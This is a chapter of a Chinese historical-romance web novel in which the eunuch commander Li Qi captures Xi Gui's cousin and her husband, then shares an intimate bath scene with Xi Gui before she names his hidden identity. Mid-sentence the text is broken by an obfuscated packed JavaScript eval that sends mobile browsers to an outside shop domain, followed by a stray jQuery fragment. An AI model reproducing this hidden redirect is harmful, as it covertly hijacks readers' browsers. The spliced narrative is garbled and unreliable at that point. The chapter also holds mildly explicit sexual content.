翌日,军报送至奚府。李弃说什么都不肯离开奚归身侧,奚归便顺带听了一耳朵最新情报。
靖王仍守在大后方,派来应战的是何家五表姐何箐的丈夫梁永。
何家三个女儿,大小姐何箬嫁的是豫章名门文士之后,五小姐何箐嫁的是武将,六小姐何筱如今和靖王订了婚约。
何箬嫁人太早,奚归还没来得及跟她在闺中建立多深厚的友谊;何筱与她八字不合。可五表姐何箐与五姐夫梁永对她都很不错。
五表姐的身手也是数一数二地好,五姐夫前来应战,定然也带着五表姐,可惜他们定然难赢。
奚归长长地叹了口气。
李弃看了她一眼:“是你五姐夫,咱家会注意留他们一命,到时候去天牢走个过场,送去跟你二表哥相见。”
奚归无奈笑道:“天牢一共也没关过几个要犯,你全给捞出来了,真的能成吗?”
李弃无所谓道:“又不是咱家开的头,是他们锦衣卫先立的好榜样。”
奚归正要反驳,只见卫诚立在门帘后俯首道:“大人,晋王世子求见。”
李弃转身面向门口,拉了薄薄的纱帐,正身挡了挡帐内的奚归。
“让他进来。”
奚归躲在纱帐后,莫名觉得踏实。
晋王世子杨栋的面色有些焦急:“掌印大人可知父亲昨夜去了哪里?儿臣一早上都未能寻见,刚去问了,也不在营帐。”
奚归不信世子真的一点事情都不懂。那日宴席杨栋就挨着他父亲坐,不可能对父亲的想法一无所知。
李弃拉长了语调,漫不经心道:“昨夜咱家在陪自个儿夫人,要不是有人求见,咱家这会子还未必能起呢。晋王那么大个人,总不至于在城内还弄丢了。”
世子隐约瞥见纱帐后的人影,脸上一红,急道:“可是大战在即却不见人影,这……儿臣对属下也不好交代啊。”
“你父亲的毛病你应该比咱家更清楚才对。查查他有没有什么庐州的相好,或者去城内几个妓馆问问,赶紧把人找回来!”
李弃反过来给他下了道令,又三令五申此战何等关键,听得世子连连点头,迷迷糊糊地走了。
奚归在后头一个劲地憋笑。世子一看就是完全摸不着头脑。这晋王还算有点为数不多的廉耻心,出去干坏事知道要瞒着儿子。
只是这一瞒,怕是直接瞒出了一桩谜案。
“好了,”李弃又拉开帘子挤到她身边,“先让杨栋去查吧,他就是想明白了也不敢吱声,想不明白也是蠢材一个。”
“我听陈锦歌说,晋王妃也看不惯他这好色的德性。王妃的母族也有些势力,没准乐着直接进京给世子讨要王位。”奚归道,“他这下可真是众叛亲离。”
李弃道:“要真只图封王,那倒没什么。只怕他们想讨的是龙椅。世子能不能活着走出这战场,只怕也难说。”
李弃特地派人去民间散布消息,说此次出兵是晋王世子为争夺未过门的靖王妃而来。
庐州自古最不缺的就是青年才子、文人墨客。一夜之间,各色话本子如春日飞絮满城飘摇,将何筱的美貌吹得天上有地下无。杨栋是痴情的少年才子,而谢望是个薄情君郎。
更有甚者,直接在酒楼卡盘下注,赌最后抱得美人归的到底是少年世子还是枭雄靖王。
“听说今天,世子刚踏进城西的鸳鸯楼,就被一群妓子团团围上了,都要看画本里的痴情小郎君,哈哈哈哈!”朝菌笑得前仰后合,“世子的脸都黑了。”
奚归道:“好了好了,先别笑了,要你去买的东西可都买齐了?”
朝菌把桌案上的包裹摊开:“夫人放心,都买齐了。”
笔墨、干粮、衣物、外伤草药包、一身女子穿的软甲,以及用作暗器的银针。
李弃去核验城防图了,战争打响应该就在这几日。奚归不跟去前线凑热闹,但还是有备无患的好。
-
李弃留了一小支队伍守城,夜里便率兵南下。
奚归自然也留在庐州城内。
她将从前住过去过的地方都逛了个遍。不知是不是她的记忆有偏差,短短几个月,庐州城内的百姓富裕了许多,脸上的神色也比从前宽和从容。
晨光熹微,奚归带着朝菌逛早市,怕招摇,还特地换了粗布衣裳。
绣品摊上,眼尖的老妪还是将她认了出来。
“奚大小姐,您怎么在这呐。”老妪拉着她的手上下仔细瞧着。
一旁的朝菌正要开口纠正奚归的身份,奚归淡淡扫了她一眼,不许她说。
这名老妪的独子是父亲手下的一名将士,年纪轻轻就牺牲了。父亲心疼老人家,每月都派人给她发救济银子。
如今父亲远在京郊,负责给她发救济银的那名属下也进了天牢。奚归不禁有些担忧老妪的生活。
“婆婆,父亲如今不在庐州了,您这几个月过得怎样?”
老妪和蔼道:“好着,都好着。庐州现在归大周管了,我知道。来庐州上任的官家也是好人,每月也发救济。”
老婆婆虽然穿得朴素,身上的布料看着都是新的,应当确实过得不错。
老妪迟疑片刻,又压低声音凑近道:“大小姐呀,这边好像又要打仗了,你怎么跟着来了,你……现在还想跟着靖王继续反吗?”
奚归一时无言。
朝菌插嘴道:“老婆婆,我家夫人如今是跟着大周的掌印大人来的,跟大人感情好着呢。”
老妪忙道:“是老奴多嘴了。”
又有客人来摊位问价,老妪又去招呼。奚归不便再多打扰,匆忙道过别,拉着朝菌继续往前。
奚归呆在城内无所事事,每日无非就是出门花点钱,回家等李弃的信件和军报,早晚练练袖中针。
从前在庐州城的故知大多都随靖王南下撤退,如今的庐州城也没有需要她走动的人。
所幸捷报频传,这样的日子应该不需要熬太久。
李弃提前写信打点了南蛮王,巫枫在西南角对靖王骚扰不断,李弃带着人马从北面入手,势如破竹。
三日之后,李弃绑着五表姐和五姐夫回了庐州城。
奚归混在人群里远远看了一眼,梁永闭着眼睛,一脸誓死不降的模样,何箐表姐神色倒是很平静。
李弃问她要不要见他们,奚归摇了摇头。
此刻见五表姐和五姐
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17611268|203443||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
夫就是上赶着挨骂。
押至天牢需要人手护送。李弃没有带那么多人,便暂时将战犯关在庐州。
奚归想了想,还是命银蛾打点了狱卒,让箐表姐夫妻俩的日子稍微好过一些。
那名老妪看得很准。她现在已经不想反了,如果不是知道五姐夫和父亲如出一辙的刚烈性子,甚至还想劝降他。
李弃处理完军报,暂且回府歇下。
奚归想也没想,上前扒了他的外袍。
李弃伸开双臂,笑着看她将外袍叠好扔进篓子。
他敛上中衣带子正要往床榻边坐,却被奚归轻轻拦住。
奚归继续解他的中衣,面色如常:“让我看看有没有受伤。”
李弃行动无碍、面色红润,应当是没有什么大伤的。
可奚归是个女人,癸水前几天也免不了有欲望,更何况她已经确认了李弃的身份和自己的心意,那就更没必要忍着了。
李弃喜欢她的主动,吻了吻她的头发,将人打横抱起:“到浴桶里给夫人看,顺带帮我洗了好不好?”
从前奚归同李弃做过很多次,但每次都是李弃将她剥净。她之前怕犯了太监的忌讳,也不敢去扒他的衣服。
可她了解谢朔,谢朔是不会计较这些的。
李弃的肤色很白,身上横亘着几道狰狞的疤痕,好在没有新伤。
奚归一寸寸抚过那些伤疤,最后顺理成章地停在那处绵软上。绵软处是未被使用过的白净。
李弃眸色深深地盯着她:“咱家是阉人,那里不会有感觉的。”
奚归仍不松手,凑近道:“那你为何这样看着我?”
李弃一只手扶着浴桶边缘,另一只手捏住奚归的后颈,低头吻了下来。
奚归被吻得迷糊,扑腾了一下,水花四溅。
待她回过神时,手已经松了。
李弃低低笑了几声:“夫人是不是想男人了?货真价实的男人。”
奚归退开认真道:“我只想我男人。”
中途李弃又叫银蛾送了趟热水,奚归将脸埋在他怀里不吭声。
一个多时辰过去,两人总算是验好了伤。
战事难测,良宵难得。两人依偎在一处,还有些不舍。
但卫诚又送来了急报,李弃不得不套上衣服起身。
奚归懒懒地倚在床头,掀开纱帐往外瞧,一眼就看到了信件上的靖王金印。
李弃回头看她一眼,也不避她:“靖王的密信。”
“又是给你的?”
李弃脚步顿了顿,嗯了一声。
“谢朔。”
不知怎么的,奚归就是很想叫破他的身份,她也这么叫了。
她说得很轻,但是很笃定。
屋内只有他们二人,李弃疑心自己出了幻听。
“你在叫谁?”李弃的声音里有一丝愠怒。
奚归直起身,将双腿盘成莲花坐,认真道:“你想一直瞒着我么?可我还想看看你的脸。”
红烛将要燃尽,烛芯爆出一声响,坠落几点火星。
李弃的面具在烛光下半明半暗。
沉默许久,他只道:“谢朔已经死了。”